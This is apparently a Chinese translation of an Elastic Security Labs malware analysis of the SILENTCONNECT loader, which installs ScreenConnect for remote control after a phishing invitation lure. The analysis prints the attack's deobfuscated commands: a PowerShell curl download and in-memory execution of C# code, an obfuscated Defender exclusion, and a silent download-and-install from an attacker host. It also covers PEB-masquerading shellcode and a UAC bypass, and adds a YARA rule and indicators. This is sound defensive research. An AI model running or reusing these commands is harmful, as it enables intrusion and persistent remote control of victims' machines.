Daniel StepanicSalim Bitam

从邀请到感染:SILENTCONNECT 如何提供 ScreenConnect

SILENTCONNECT 是一款多级加载器,可利用 VBScript、内存中 PowerShell 执行和 PEB 伪装功能,悄无声息地部署 ScreenConnect RMM 工具。

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

简介

Elastic Security Labs 观察到恶意活动提供了一种多阶段感染,其中涉及以前未记录的加载器。当用户在数字邀请函的幌子下被转移到 Cloudflare Turnstile 验证码页面时,感染就开始了。点击链接后,一个 VBScript 文件就会下载到机器上。执行时,脚本会检索 C# 源代码,然后使用 PowerShell 在内存中编译和执行。在这些活动中观察到的最终有效载荷是 ScreenConnect,这是一种用于控制受害者机器的远程监控和管理(RMM)工具。

这一活动突出了一个共同的主题:攻击者滥用 "离岸二进制文件"(LOLBins)来促进执行,并使用可信的托管服务提供商,如 Google Drive 和 Cloudflare。虽然该装载机小巧而简单,但似乎相当有效,而且自 2025 年 3 月以来一直未引起人们的注意。

关键要点

  • SILENTCONNECT 是一种新发现的装载机,目前正在被广泛使用
  • 该加载程序会悄无声息地安装 ConnectWise ScreenConnect,从而实现对受害者机器的键盘访问。
  • 分发 SILENTCONNECT 的活动使用 Cloudflare 和 Google Drive 的托管基础设施
  • SILENTCONNECT 使用 NT API 调用和 PEB 伪装,包括 Windows Defender 排除和用户账户控制 (UAC) 旁路。

SILENTCONNECT 感染链

在三月的第一周,我们的团队观察到一种生活在陆地外的感染,在短时间内产生了多个行为警报。

最初的 VBScript 下载触发了我们的 "从互联网下载的可疑 Windows 脚本 "规则,这让我们可以使用相关的file.origin_urlfile.origin_referrer_url 字段透视感染源。

通过导航到原始登陆页面,我们观察到一个 Cloudflare Turnstile 验证码页面。点击人工验证复选框后,一个 VBScript 文件 (E-INVITE.vbs) 就会下载到机器上。

以下是登陆页面的源代码,我们可以看到 VBScript 文件 (E-INVITE.vbs) 托管在 Cloudflare 的对象存储服务上 r2.dev.

以下是上个月观察到的与这些活动有关的其他 VBScript 文件名:

  • Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
  • CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
  • 2025Trans.vbs
  • Proposal-03-2026.vbs
  • 2025Trans.vbs
  • updatv35.vbs

VBS 脚本使用一个儿童故事作为诱饵,并使用Replace()Chr() 功能来隐藏下一阶段,因此混淆程度极低。

该脚本会对以下命令行输出进行防混淆处理:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

此代码段使用 PowerShell 调用curl.exe 从 Google Drive 下载 C# 有效载荷,然后以文件名 (C:\Windows\Temp\FileR.txt) 写入磁盘。

检索到的 C# 源代码使用了一种称为 "常量展开 "的混淆技术,以隐藏用于内存反射执行的字节数组。

最后,PowerShell 命令会在运行时使用Add-Type 编译下载的 C# 源 (FileR.txt),将其作为 .NET 程序集加载到内存中,并通过[HelloWorld]::SayHello() 方法执行。

无声连接

下文将介绍我们称之为 SILENTCONNECT 的 .NET 加载器系列。该样本相对较小且简单明了,主要用于下载远程有效载荷(ScreenConnect)并将其悄无声息地安装到系统上。

在睡眠 15 秒后,恶意软件通过NtAllocateVirtualMemory 使用本地 Windows API 函数分配可执行内存,并为该区域分配PAGE_EXECUTE_READWRITE 权限。SILENTCONNECT 存储了一个嵌入式字节数组,其中包含以下 shellcode:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

这个小的 shellcode 会通过Marshal.Copy 移动到最近分配的内存中。接下来,恶意软件会执行 shellcode 以获取进程环境块 (PEB) 的地址。这种方法允许恶意软件直接访问进程结构,同时避免使用通常会被安全产品监控或挂钩的更高级 Windows API。

在委托设置阶段,SILENTCONNECT 使用ntdll.dll (本地 API)和ole32.dll (COM API)中的 NTAPI,使恶意软件能够直接从.NET 调用NtWriteVirtualMemoryCoGetObject 等函数。

PEB 伪装

SILENTCONNECT 实现了一种常见的恶意软件规避技术,即 PEB 伪装。所有 Windows 进程都包含一个由内核维护的结构,称为进程环境块(PEB)。该结构包含一个已加载模块的链接列表。每个链表内都有包含模块基地址、DLL 名称和完整路径的条目。SILENTCONNECT 浏览此结构,找到自己的模块,然后将其BaseDLLNameFullDllName 覆盖到winhlp32.exec:\windows\winhlp32.exe

包括 EDR 在内的许多安全工具都将 PEB 作为检测可疑活动的可信源。这种技术通过使用一个无害的名称和路径来隐藏自己,从而骗过这些产品。

在启动有效载荷之前,恶意软件会使用LaunchElevatedCOMObjectUnsafe 函数实现 UAC 旁路,并将单名字符串反转::wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

如果恶意软件处于未提升状态,则会尝试通过CMSTPLUA COM 接口使用 UAC 旁路技术。作为一种简单的混淆技术,发射参数以相反的顺序存储在字符数组中。

该混淆命令的第一部分为.exe 文件添加了 Microsoft Defender 排除项。

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

以下是在 Defender 中执行该命令的结果,其中添加了异常:

添加排除项后,SILENTCONNECT 会创建一个临时目录 (C:\Temp) 并使用curl.exe 将恶意 ScreenConnect 客户端安装程序下载到其中。然后,它会调用msiexec.exe 悄然安装 RMM。下面是命令行的后半部分:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

安装完成后,ScreenConnect 客户端将作为 Windows 服务持续存在,并通过 TCP 端口8041 向敌方控制的 ScreenConnect 服务器发出信标bumptobabeco[.]top

无声连接运动

这些活动的主要初始访问载体是从网络钓鱼电子邮件开始的。我们从去年的一次活动中发现了一个上传到 VirusTotal 的电子邮件样本 (YOU ARE INVITED.eml)。

该电子邮件发送自dan@checkfirst[.]net[.]au ,冒充一家虚假公司的项目建议书邀请函。电子邮件正文邀请收件人点击链接提交建议书。该链接会将受害者重定向至攻击者控制的基础设施imansport[.]ir/download_invitee.php

值得注意的是,该威胁行为者在所有被入侵网站上重复使用了相同的 URI 路径 (download_invitee.php) 来传输有效载荷。这种一致的命名惯例是一种不良的操作安全(OPSEC)做法,因为它为跟踪该活动的基础设施以及通过 VirusTotal 搜索(如entity:url url:download_invitee.php )确定其他被入侵主机提供了一个可靠的支点。

我们还发现多个合法网站被入侵,并利用相同的基础设施为其他欺诈计划提供便利。例如,一个 URL (solpru[.]com/process/docusign[.]html) 承载着一个与 DocuSign 电子签名平台非常相似的页面。


伪造的DocuSign 门户网站

通过下载预先配置好的 ScreenConnect MSI,该链可完全跳过 SILENTCONNECT,自动连接到演员的服务器 (instance-lh1907-relay.screenconnect[.]com)。

不同域上的另一个页面冒充 Microsoft Teams 页面,要求用户下载文件,从而导致 Syncro RMM 代理被滥用。

结论

Elastic Security Labs 不断发现威胁行为者对 RMM 的采用有所增加。由于这些工具由合法的 IT 部门使用,在大多数企业环境中通常会被忽视,并被视为 "可信 "工具。企业必须保持警惕,对其环境进行审计,以防未经授权使用 RMM。

虽然这个特殊的组织通过编写自定义加载器更进一步,但其感染链的大部分都利用 Windows 二进制程序来逃避检测,并混入正常的系统活动中。滥用 Google Drive 和 Cloudflare 等可信平台进行有效载荷托管和引诱交付,使检测工作变得更加复杂,因为基于网络的控制措施不可能完全阻止指向这些服务的流量。由于威胁行为者继续倾向于简单和隐蔽,而不是复杂,因此这种性质的活动很可能会持续存在并不断演变。

SILENTCONNECT 和 MITRE ATT&CK

Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。

战术

策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。

技术

技术代表对手如何通过采取行动来实现战术目标。

检测 SILENTCONNECT

雅拉

Elastic Security 创建了以下 YARA 规则来识别此活动:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

观察结果

本研究讨论了以下可观察的结果。

可观测类型名称参考
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3SHA-256E-INVITE.vbsVBScript
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37SHA-2562025Trans.vbsVBScript
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03SHA-256FileR.txtC#
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7SHA-256ScreenConnect.ClientSetup.msiSCREENCONNECT 安装程序
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557dbSHA-256无声连接
86.38.225[.]59IPv4 地址ScreenConnect C2 服务器
bumptobabeco[.]topScreenConnect C2 服务器
instance-lh1907-relay.screenconnect[.]comScreenConnect C2 服务器
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcecSHA-256ViewDocs.exeSyncro 安装程序

分享这篇文章